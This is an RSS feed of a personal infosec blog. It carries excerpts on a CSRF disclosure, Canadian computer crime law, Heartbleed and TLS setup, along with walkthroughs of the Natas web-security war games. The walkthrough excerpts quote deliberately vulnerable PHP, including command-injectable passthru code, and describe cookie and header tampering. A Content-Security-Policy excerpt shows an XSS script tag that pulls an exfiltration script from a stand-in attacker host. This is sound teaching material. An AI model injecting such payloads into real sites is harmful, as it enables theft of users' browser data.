<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>Infosec on Hashbang.ca</title>
		<link>https://hashbang.ca/tag/infosec</link>
		<description>Recent content in Infosec on Hashbang.ca</description>
		<generator>Hugo</generator>
		<language>en-us</language>
		
		
		
		
			<lastBuildDate>Thu, 11 Dec 2014 02:00:00 -0700</lastBuildDate>
		
			<atom:link href="https://hashbang.ca/tag/infosec/index.xml" rel="self" type="application/rss+xml" />
			<item>
				<title>CSRF vulnerability at CloudAtCost.com</title>
				<link>https://hashbang.ca/post/csrf-vulnerability-at-cloudatcost-com</link>
				<pubDate>Thu, 11 Dec 2014 02:00:00 -0700</pubDate>
				<guid>https://hashbang.ca/post/csrf-vulnerability-at-cloudatcost-com/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://cloudatcost.com&#34;&gt;CloudAtCost.com&lt;/a&gt; provides low-cost virtual machines hosted in Canada. &lt;code&gt;panel.cloudatcost.com&lt;/code&gt; is the management interface, where customers can install OS images, access a console, etc.&lt;/p&gt;&#xA;&lt;figure class=&#34;captioned alignright scaled&#34;&gt;&#xA;  &lt;img src=&#34;https://hashbang.ca/images/system-security-breach.jpg&#34; alt=&#34;A square black indicator light labelled SYSTEM SECURITY BREACH, mounted in a blue plastic panel&#34; srcset=&#34;https://hashbang.ca/images/system-security-breach.jpg 400w, https://hashbang.ca/images/system-security-breach-800.jpg 800w, https://hashbang.ca/images/system-security-breach-1200.jpg 1200w&#34; sizes=&#34;(min-width: 55rem) 22rem, (min-width: 45rem) calc(100vw - 19rem), calc(100vw - 4rem)&#34; width=&#34;400&#34; height=&#34;300&#34; /&gt;&#xA;  &lt;figcaption&gt;&lt;a href=&#34;https://commons.wikimedia.org/wiki/File:System_security_breach_%286882749323%29.jpg&#34;&gt;System security breach&lt;/a&gt; by Jeff Keyzer, &lt;a href=&#34;https://creativecommons.org/licenses/by-sa/2.0/&#34;&gt;CC BY-SA 2.0&lt;/a&gt;; resized&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;p&gt;A &lt;a href=&#34;https://cwe.mitre.org/data/definitions/352.html&#34;&gt;cross-site request forgery&lt;/a&gt; (CSRF) vulnerability was discovered in this web application. If a customer could be tricked into visiting a crafted URL while logged in, an attacker could change the victim&amp;rsquo;s password, gaining access to the management interface.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Legal issues in computer security research</title>
				<link>https://hashbang.ca/post/legal-issues-in-computer-security-research</link>
				<pubDate>Sat, 19 Apr 2014 01:04:00 -0700</pubDate>
				<guid>https://hashbang.ca/post/legal-issues-in-computer-security-research/</guid>
				<description>&lt;p&gt;This Thursday, I gave a talk at &lt;a href=&#34;http://atlseccon.com&#34;&gt;AtlSecCon&lt;/a&gt; 2014. The weather threw a wrench in the organizers&amp;rsquo; plans, but they managed to pull off a solid conference. Unfortunately, the talks weren&amp;rsquo;t recorded this year. The slides are posted on &lt;a href=&#34;https://speakerdeck.com/doherty/legal-issues-in-computer-security-research&#34;&gt;SpeakerDeck&lt;/a&gt;, and are embedded below the fold.&lt;/p&gt;&#xA;&lt;p&gt;I also reprised this talk at NSLUG, and recorded audio, now posted on &lt;a href=&#34;https://soundcloud.com/mikedoherty_ca/infosec-legal-issues&#34;&gt;SoundCloud&lt;/a&gt;, and also embedded below the fold.&lt;/p&gt;&#xA;&lt;p&gt;Finally: late last year, I wrote 3 posts exploring Canada&amp;rsquo;s computer crime laws (&lt;a href=&#34;https://hashbang.ca/post/exploring-canadas-computer-crime-laws-part-1&#34;&gt;1&lt;/a&gt;, &lt;a href=&#34;https://hashbang.ca/post/exploring-canadas-computer-crime-laws-part-2&#34;&gt;2&lt;/a&gt;, &lt;a href=&#34;https://hashbang.ca/post/exploring-canadas-computer-crime-laws-part-3&#34;&gt;3&lt;/a&gt;) which were initial versions of work that eventually became two papers I submitted this semester for a directed studies course. If you were interested in those posts, I&amp;rsquo;ve embedded the final PDFs below. The talk is a condensed version of that work.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Recovering from Heartbleed</title>
				<link>https://hashbang.ca/post/recovering-from-heartbleed</link>
				<pubDate>Tue, 08 Apr 2014 13:03:00 -0700</pubDate>
				<guid>https://hashbang.ca/post/recovering-from-heartbleed/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;http://heartbleed.com&#34;&gt;Heartbleed&lt;/a&gt; is a critical vulnerability in OpenSSL revealed yesterday. I&amp;rsquo;m not sure it could be more serious: it allows an attacker to connect to your server and use the TLS heartbeat extension to obtain 64k of server memory (and do it again to get another 64k and again and&amp;hellip;) &amp;ndash; while leaving no traces in logs. That server memory might include primary key material (&lt;strong&gt;private keys&lt;/strong&gt;), secondary key material (usernames and passwords), and collateral (memory addresses, canaries used to detect overflow, etc)&lt;/p&gt;</description>
			</item>
			<item>
				<title>Exploring Canada&#39;s computer crime laws: Part 3</title>
				<link>https://hashbang.ca/post/exploring-canadas-computer-crime-laws-part-3</link>
				<pubDate>Wed, 06 Nov 2013 16:10:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/exploring-canadas-computer-crime-laws-part-3/</guid>
				<description>&lt;p&gt;Since the exceptions in copyright law for encryption and security research don&amp;rsquo;t apply if you&amp;rsquo;re doing anything criminal, I next looked at the &lt;a href=&#34;http://canlii.ca/t/5211r&#34;&gt;Criminal Code&lt;/a&gt; [&lt;a href=&#34;http://laws-lois.justice.gc.ca/PDF/C-46.pdf&#34;&gt;PDF&lt;/a&gt;].&lt;/p&gt;</description>
			</item>
			<item>
				<title>Exploring Canada&#39;s computer crime laws: Part 2</title>
				<link>https://hashbang.ca/post/exploring-canadas-computer-crime-laws-part-2</link>
				<pubDate>Tue, 05 Nov 2013 16:10:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/exploring-canadas-computer-crime-laws-part-2/</guid>
				<description>&lt;p&gt;Since the exceptions in copyright law for encryption and security research don&amp;rsquo;t apply if you&amp;rsquo;re doing anything criminal, I next looked at the &lt;a href=&#34;http://canlii.ca/t/5211r&#34;&gt;Criminal Code&lt;/a&gt; [&lt;a href=&#34;http://laws-lois.justice.gc.ca/PDF/C-46.pdf&#34;&gt;PDF&lt;/a&gt;].&lt;/p&gt;</description>
			</item>
			<item>
				<title>Exploring Canada&#39;s computer crime laws: Part 1</title>
				<link>https://hashbang.ca/post/exploring-canadas-computer-crime-laws-part-1</link>
				<pubDate>Mon, 04 Nov 2013 16:10:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/exploring-canadas-computer-crime-laws-part-1/</guid>
				<description>&lt;p&gt;As someone with an interest in technology, security, and the legal issues surrounding them, I often watch relevant legal cases with interest. Typically, those cases come from the United States. The &lt;a href=&#34;https://en.wikipedia.org/wiki/Computer_Fraud_and_Abuse_Act&#34;&gt;CFAA&lt;/a&gt; has been in the news frequently of late, and not always in a good light. I was pleased to see Zoe Lofgren&amp;rsquo;s &lt;a href=&#34;https://en.wikipedia.org/wiki/Aaron%27s_Law&#34;&gt;proposed changes&lt;/a&gt;, which try to make the law less draconian.&lt;/p&gt;&#xA;&lt;p&gt;This is typical for Canada &amp;ndash; we often see more about American news on topics like this than Canadian. I realized that I really didn&amp;rsquo;t know what the law in Canada said about so-called computer crimes, although I&amp;rsquo;ve often wondered. A while back, I took an afternoon to do some reading. I was not happy when that afternoon ended. This is part one of a three-part series on what I found.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Validating SSL certificates for IRC bouncers</title>
				<link>https://hashbang.ca/post/validating-ssl-certificates-for-irc-bouncers</link>
				<pubDate>Sat, 14 Sep 2013 10:28:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/validating-ssl-certificates-for-irc-bouncers/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://en.wikipedia.org/wiki/BNC_(software)#IRC&#34;&gt;IRC bouncers&lt;/a&gt; are sort of like a proxy. Your bouncer stays online, connected to IRC, all the time, and then you connect to the bouncer using a normal IRC client. I connect to my bouncer with an &lt;a href=&#34;https://en.wikipedia.org/wiki/Transport_Layer_Security&#34;&gt;SSL&lt;/a&gt;-encrypted connection, but I hadn&amp;rsquo;t been validating the certificate until now. Validating the SSL certificate is critical for thwarting &lt;a href=&#34;https://en.wikipedia.org/wiki/Man-in-the-middle_attack&#34;&gt;man-in-the-middle (MITM) attacks&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In a MITM attack, the victim connects to the attacker, thinking it is the service they want to talk to (the IRC bouncer in this case). The attacker then forwards the connection to the service. Both connections might use SSL, but in the middle, the attacker can see the plaintext. They can simply eavesdrop, or modify the data flowing in both directions. SSL is supposed to prevent that, but if you don&amp;rsquo;t validate the certificate, then you don&amp;rsquo;t know who you&amp;rsquo;re talking to. I want to know I&amp;rsquo;m really talking to my IRC bouncer, so let&amp;rsquo;s figure out how to validate that certificate.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Introducing Hack::Natas</title>
				<link>https://hashbang.ca/post/introducing-hacknatas</link>
				<pubDate>Sun, 18 Aug 2013 15:23:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/introducing-hacknatas/</guid>
				<description>&lt;p&gt;Last Monday, I &lt;a href=&#34;https://hashbang.ca/post/presenting-my-natas-solutions-at-nslug&#34;&gt;presented&lt;/a&gt; my solutions to the Natas server-side security war games at NSLUG. Afterwards, I spent some time to clean up my code, and I&amp;rsquo;ve now published it to CPAN as &lt;a href=&#34;https://metacpan.org/module/Hack::Natas&#34;&gt;&lt;code&gt;Hack::Natas&lt;/code&gt;&lt;/a&gt;, which comes with modules and scripts to solve level 15 and 16 in an automated way, plus walkthroughs for all the levels up to 17 written in Markdown (those are almost the same as my &lt;a href=&#34;https://hashbang.ca/tag/natas&#34;&gt;blog posts&lt;/a&gt;, so you&amp;rsquo;re not missing out by looking at only one or the other).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Presenting my Natas solutions at NSLUG</title>
				<link>https://hashbang.ca/post/presenting-my-natas-solutions-at-nslug</link>
				<pubDate>Sun, 18 Aug 2013 08:12:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/presenting-my-natas-solutions-at-nslug/</guid>
				<description>I presented my solutions to the &lt;a href=&#34;https://hashbang.ca/tag/natas&#34;&gt;Natas server-side security war games&lt;/a&gt; at my local &lt;a href=&#34;http://nslug.ns.ca&#34;&gt;linux users&amp;rsquo; group&lt;/a&gt;. Here&amp;rsquo;s the recording.</description>
			</item>
			<item>
				<title>SSL configuration on nginx</title>
				<link>https://hashbang.ca/post/ssl-configuration-on-nginx</link>
				<pubDate>Mon, 05 Aug 2013 10:08:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/ssl-configuration-on-nginx/</guid>
				<description>&lt;p&gt;This SSL configuration for nginx achieves an A on the &lt;a href=&#34;https://www.ssllabs.com/&#34;&gt;SSL labs&lt;/a&gt; tool. It&amp;rsquo;s what this server &lt;a href=&#34;https://www.ssllabs.com/ssltest/analyze.html?d=hashbang.ca&#34;&gt;currently uses&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 16</title>
				<link>https://hashbang.ca/post/natas-16</link>
				<pubDate>Tue, 09 Jul 2013 08:48:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-16/</guid>
				<description>&lt;p&gt;This is the last level. We&amp;rsquo;re challenged with an improved version of level 9 &amp;ndash; they&amp;rsquo;ve added additional &amp;ldquo;sanitation&amp;rdquo; to keep us out.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;preg_match&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;/[;|&amp;amp;`\&amp;#39;&amp;#34;]/&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;print&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Input contains an illegal character!&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nx&#34;&gt;passthru&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;grep -i &lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$key&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\&amp;#34;&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; dictionary.txt&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 15</title>
				<link>https://hashbang.ca/post/natas-15</link>
				<pubDate>Sat, 06 Jul 2013 10:33:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-15/</guid>
				<description>&lt;p&gt;We&amp;rsquo;re nearly at the end! This is the 2nd-last level.&lt;/p&gt;&#xA;&lt;p&gt;We know there is a users table, with columns &amp;ldquo;username&amp;rdquo; and &amp;ldquo;password&amp;rdquo;. This time, the code just checks that the username exists. There&amp;rsquo;s no way to print out the data we want. Instead, we&amp;rsquo;ll have to do something cleverer.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 14</title>
				<link>https://hashbang.ca/post/natas-14</link>
				<pubDate>Thu, 04 Jul 2013 11:05:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-14/</guid>
				<description>&lt;p&gt;In level 14, we see a more traditional username &amp;amp; password form. Let&amp;rsquo;s check the source code to see if there are holes we can slip through.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 13</title>
				<link>https://hashbang.ca/post/natas-13</link>
				<pubDate>Tue, 02 Jul 2013 13:31:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-13/</guid>
				<description>&lt;p&gt;This is level 13. Looks like they claim to only accept image files, in order to close the flaw we used previously. I bet we can get around that restriction just like we did when they disallowed certain characters in the search term. Let&amp;rsquo;s examine the code.&lt;/p&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s the new part of the code:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;!&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;exif_imagetype&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_FILES&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;uploadedfile&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;][&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;tmp_name&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]))&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;File is not an image&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 12</title>
				<link>https://hashbang.ca/post/natas-12</link>
				<pubDate>Mon, 01 Jul 2013 14:23:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-12/</guid>
				<description>&lt;p&gt;In level 12, we&amp;rsquo;re given a file upload form. Let&amp;rsquo;s take a look at the code that processes input.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 11</title>
				<link>https://hashbang.ca/post/natas-11</link>
				<pubDate>Fri, 28 Jun 2013 10:04:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-11/</guid>
				<description>&lt;p&gt;This is level 11. Your clue is that &amp;ldquo;XOR encryption&amp;rdquo; is not encryption. Let&amp;rsquo;s look in the cookies to find out they have XOR-ed, so we can mess with it.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 10</title>
				<link>https://hashbang.ca/post/natas-10</link>
				<pubDate>Thu, 27 Jun 2013 11:42:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-10/</guid>
				<description>&lt;p&gt;Welcome to level 10. &amp;ldquo;For security reasons, we now filter on certain characters&amp;rdquo; &amp;ndash; okay they&amp;rsquo;ve gotten wise to our little game. But let&amp;rsquo;s check how good their countermeasures are.&lt;/p&gt;&#xA;&lt;p&gt;Well, they don&amp;rsquo;t allow us to use the semicolon or ampersand any longer. Well that&amp;rsquo;s not a problem, I know other ways to manhandle that command into doing what I want.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 9</title>
				<link>https://hashbang.ca/post/natas-9</link>
				<pubDate>Wed, 26 Jun 2013 09:31:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-9/</guid>
				<description>&lt;p&gt;In level 9, the &amp;ldquo;Input secret&amp;rdquo; form is replaced by one that looks like it is searching for words containing the string you provide. Give it a try, and then look at the code.&lt;/p&gt;&#xA;&lt;p&gt;Well, this is just grepping through a wordlist, using the POSTed needle as a parameter. Since we control the value of that POSTed variable, we can control the command that gets executed. Now we need to figure out how to use that to our advantage.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 8</title>
				<link>https://hashbang.ca/post/natas-8</link>
				<pubDate>Tue, 25 Jun 2013 09:24:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-8/</guid>
				<description>&lt;p&gt;Level 8 shows us another &amp;ldquo;Input secret&amp;rdquo; form. Let&amp;rsquo;s examine the source again. This time, there is an &amp;ldquo;encoded&amp;rdquo; secret. Let&amp;rsquo;s try to reverse engineer this. They&amp;rsquo;re using &lt;code&gt;bin2hex&lt;/code&gt;, &lt;code&gt;strrev&lt;/code&gt;, and &lt;code&gt;base64_encode&lt;/code&gt; &amp;ndash; those are all trivially reversible.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 7</title>
				<link>https://hashbang.ca/post/natas-7</link>
				<pubDate>Mon, 24 Jun 2013 10:16:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-7/</guid>
				<description>&lt;p&gt;Level 7 is a simple webpage that doesn&amp;rsquo;t seem to offer us any clues about a vulnerability. Let&amp;rsquo;s click around those links a bit to see more.&lt;/p&gt;&#xA;&lt;p&gt;Well, each of these links passes the name of the page to a PHP script, which seems to just stuff the contents of the file into the webpage. So, we should be able to change that URL parameter to whatever we want, in order to get the contents of the file containing the next password.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 6</title>
				<link>https://hashbang.ca/post/natas-6</link>
				<pubDate>Sat, 22 Jun 2013 10:35:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-6/</guid>
				<description>&lt;p&gt;On level 6, there is a curious &amp;ldquo;Input secret&amp;rdquo; form. I wonder what it does? Well, there is also a &amp;ldquo;View sourcecode&amp;rdquo; link, which will presumably show us the source code for that form. Then, we can try to anaylze whether it has any weaknesses we can take advantage of.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 5</title>
				<link>https://hashbang.ca/post/natas-5</link>
				<pubDate>Fri, 21 Jun 2013 10:02:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-5/</guid>
				<description>&lt;p&gt;&amp;ldquo;You are not logged in&amp;rdquo; &amp;ndash; I wonder what that means. Normally, websites use cookies to tell whether you&amp;rsquo;re logged in. Let&amp;rsquo;s check if that&amp;rsquo;s the case here.&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;rsquo;re using Google Chrome, press CTRL-J and switch to the &amp;ldquo;Resources&amp;rdquo; tab. Expand the &amp;ldquo;Cookies&amp;rdquo; item, and select the current domain: &amp;ldquo;natas5.natas&amp;hellip;&amp;rdquo; and lo and behold there is a cookie there. Named &lt;code&gt;loggedin&lt;/code&gt;. With value &lt;code&gt;0&lt;/code&gt;. Remember, the client controls what gets sent in the cookies. That&amp;rsquo;s our attack vector.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 4</title>
				<link>https://hashbang.ca/post/natas-4</link>
				<pubDate>Thu, 20 Jun 2013 12:17:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-4/</guid>
				<description>&lt;p&gt;We got an &amp;ldquo;access disallowed&amp;rdquo; error because we were visiting from &amp;ldquo;&amp;rdquo;, while authorized users should come from &amp;ldquo;natas5.blah&amp;rdquo;. Try the &amp;ldquo;Refresh page&amp;rdquo; link. Now the page says we came from &amp;ldquo;natas4.blah&amp;rdquo;. This is the referring to the &lt;code&gt;Referer&lt;/code&gt;[[sic(https://en.wikipedia.org/wiki/Referer#Origin_of_the_term_referer)] header. But that&amp;rsquo;s information provided by the client, and we control the client. We can put whatever we want in that header. So, let&amp;rsquo;s put the natas5 domain, as they kindly suggested.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 3</title>
				<link>https://hashbang.ca/post/natas-3</link>
				<pubDate>Wed, 19 Jun 2013 09:47:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-3/</guid>
				<description>&lt;p&gt;There is still nothing on this page, and now if we look at the source, they&amp;rsquo;ve removed that image. Now there&amp;rsquo;s a taunt that not even Google will find it this time.&lt;/p&gt;&#xA;&lt;p&gt;Well, Google is a good little robot puppy who always obeys his master, but we are evil attackers. What rules do robots have to follow that we don&amp;rsquo;t? &lt;code&gt;robots.txt&lt;/code&gt;. Let&amp;rsquo;s look at what they don&amp;rsquo;t want Google to see. &lt;code&gt;robots.txt&lt;/code&gt; always lives at the root of the domain, so open &lt;a href=&#34;http://natas3.natas.labs.overthewire.org/robots.txt&#34;&gt;http://natas3.natas.labs.overthewire.org/robots.txt&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 2</title>
				<link>https://hashbang.ca/post/natas-2</link>
				<pubDate>Tue, 18 Jun 2013 11:00:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-2/</guid>
				<description>&lt;p&gt;Use the username &amp;ldquo;natas2&amp;rdquo; and the password you obtained in level 1.&lt;/p&gt;&#xA;&lt;p&gt;There is nothing on the page, nor anything &amp;ldquo;in&amp;rdquo; the page, if you look in the source.&lt;/p&gt;&#xA;&lt;p&gt;Maybe there&amp;rsquo;s something in one of those external resources we can use. There&amp;rsquo;s a CSS file, and an image. The CSS file was always there, but the image is new, so let&amp;rsquo;s see if we can exploit that.&lt;/p&gt;&#xA;&lt;p&gt;Copy the &lt;code&gt;src&lt;/code&gt; for the image, and paste it into the address bar, after the domain part. The full URL is &lt;a href=&#34;http://natas2.natas.labs.overthewire.org/files/pixel.png&#34;&gt;http://natas2.natas.labs.overthewire.org/files/pixel.png&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 1</title>
				<link>https://hashbang.ca/post/natas-1</link>
				<pubDate>Mon, 17 Jun 2013 10:10:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-1/</guid>
				<description>&lt;p&gt;Use the username &amp;ldquo;natas1&amp;rdquo; and the password you uncovered at level 0 to get in.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s try the same trick as before &amp;ndash; only now you can&amp;rsquo;t right-click. Instead, use CTRL-U to view source, and get the password for the next level.&lt;/p&gt;&#xA;&lt;h2 id=&#34;lessons-learned&#34;&gt;Lessons learned&lt;/h2&gt;&#xA;&lt;p&gt;Again, this level was easy, but it&amp;rsquo;s important to understand that people aren&amp;rsquo;t required to behave the way you want when using your website. Doing validation in client-side javascript, or disabling right-click isn&amp;rsquo;t going to be effective, so don&amp;rsquo;t use it for anything security-sensitive.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Server-side security war games: Part 0</title>
				<link>https://hashbang.ca/post/natas-0</link>
				<pubDate>Mon, 17 Jun 2013 10:00:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/natas-0/</guid>
				<description>&lt;p&gt;overthewire.org has a series of &amp;ldquo;war games&amp;rdquo; &amp;ndash; challenges that help you learn by doing. Natas is the webserver security series. Although there are walkthroughs already available, I am going to do my own series of posts. Some of the existing walkthroughs are overly complex, and none actually finished all the levels. The war games unfortunately don&amp;rsquo;t have anything explaining why the example vulnerabilities can be important in real-world scenarios. I&amp;rsquo;ll try to fill that void.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;m going to post one every few days, beginning with levels zero and one today.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Adding LUKS hard disk encryption on LVM after the fact</title>
				<link>https://hashbang.ca/post/adding-luks-hard-disk-encryption-on-lvm-after-the-fact</link>
				<pubDate>Sat, 15 Jun 2013 17:20:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/adding-luks-hard-disk-encryption-on-lvm-after-the-fact/</guid>
				<description>&lt;p&gt;I have an external hard disk enclosure with two disks. I used Logical Volume Manager to create a single logical volume that spanned them, and slowly filled it to about 60% capacity. Lately, I&amp;rsquo;ve been trying to be more conscious of using encryption, and this was one area where I hadn&amp;rsquo;t done so. At the time I felt like learning how to do LVM was enough, and LUKS could wait until later. Well, it&amp;rsquo;s later. Here&amp;rsquo;s how I added encryption after the fact (without a spare hard disk).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Planning a Content-Security-Policy with Dancer</title>
				<link>https://hashbang.ca/post/planning-a-content-security-policy-with-dancer</link>
				<pubDate>Fri, 01 Feb 2013 10:06:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/planning-a-content-security-policy-with-dancer/</guid>
				<description>&lt;p&gt;The &lt;a href=&#34;https://en.wikipedia.org/wiki/Same_origin_policy&#34;&gt;same-origin policy&lt;/a&gt; is a fundamental part of the security infrastructure of the web. It prevents a web site&amp;rsquo;s scripts from accessing and interacting with scripts used on other sites. This helps keep your data safe because if your bank&amp;rsquo;s website gives you some data, it can only be accessed by your bank&amp;rsquo;s website, and not by scripts from other websites.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;That&amp;rsquo;s a nice theory, it&amp;rsquo;d be a shame if some evidence happened to it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;In the real world, attackers have found ways to get around the same-origin policy to gain access to data they&amp;rsquo;re not supposed to be able to access. For example, a web programmer might mistakenly include some user-provided input verbatim in the HTML of a webpage &amp;ndash; perhaps a username. Well, if your username is &lt;code&gt;&amp;amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;http://evil.attacker.com/exfiltrate_browser_data.js&amp;quot;&amp;amp;gt;&amp;amp;lt;/script&amp;amp;gt;&lt;/code&gt;, then how is the web browser supposed to know if that was intentionally put in the HTML of the page? Same-origin policies are insufficient in the face of programmer error. Enter &lt;strong&gt;Content Security Policy&lt;/strong&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>SSL security in HTTP::Tiny</title>
				<link>https://hashbang.ca/post/ssl-security-in-httptiny</link>
				<pubDate>Wed, 18 Apr 2012 16:47:00 -0400</pubDate>
				<guid>https://hashbang.ca/post/ssl-security-in-httptiny/</guid>
